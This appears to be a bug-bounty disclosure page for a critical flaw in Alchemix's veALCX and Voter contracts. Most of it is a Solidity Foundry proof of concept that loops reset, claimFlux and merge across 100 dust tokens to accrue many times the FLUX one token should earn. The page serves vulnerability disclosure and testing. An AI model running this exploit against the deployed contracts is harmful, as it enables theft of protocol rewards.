31481 - [SC - Critical] Undound FLUX accrual through reset and merge
Previous31480 - [SC - High] Miscalculation of global biasNext31483 - [SC - Critical] Users can vote multiple times in one epoch
Last updated
Was this helpful?
Was this helpful?
pragma solidity ^0.8.15;
import "./BaseTest.sol";
contract Poc is BaseTest {
function setUp() public {
setupContracts(block.timestamp);
}
// Run as: forge test --mp src/test/Poc.t.sol --fork-url 'URL'
function test_poc() public {
address bad = address(1);
uint256 NUMBER_ITER = 100;
// The bad guy mints the main veALCX using 1000 BAL
uint256 tokenId_bad = createVeAlcx(bad, 1000e18, MAXTIME, false);
// The bad guy mints many auxiliary veALCX tokens using 10 wei of BAL
uint256[] memory tokenIds = new uint256[](NUMBER_ITER);
for (uint256 i; i < NUMBER_ITER; i++)
tokenIds[i] = createVeAlcx(bad, 10, MAXTIME, false);
hevm.startPrank(bad);
// This is how much Flux the bad guy should accrue
// without cheating.
uint256 noCheating = veALCX.claimableFlux(tokenId_bad);
// The bad guy accrues Flux in a loop
// by calling Voter.reset() and then transferring balance to a new auxiliary veACLX by calling merge(last,current).
uint256 lastId = tokenId_bad;
for (uint256 i; i < NUMBER_ITER; i++) {
uint256 currentId = tokenIds[i];
uint256 beforeFlux = IERC20(flux).balanceOf(bad);
// Accrue Flux when resetting
// https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L191
voter.reset(lastId);
flux.claimFlux(lastId, veALCX.claimableFlux(lastId));
uint256 afterFlux = IERC20(flux).balanceOf(bad);
assertGt(afterFlux, beforeFlux);
// Merge last->current, keep the wheel spinning
veALCX.merge(lastId, currentId);
lastId = currentId;
}
hevm.stopPrank();
// The bad guy accrued after the attack.
uint256 realFlux = IERC20(flux).balanceOf(bad);
// The bad guy gets much more
assertGe(realFlux, NUMBER_ITER*noCheating);
}
}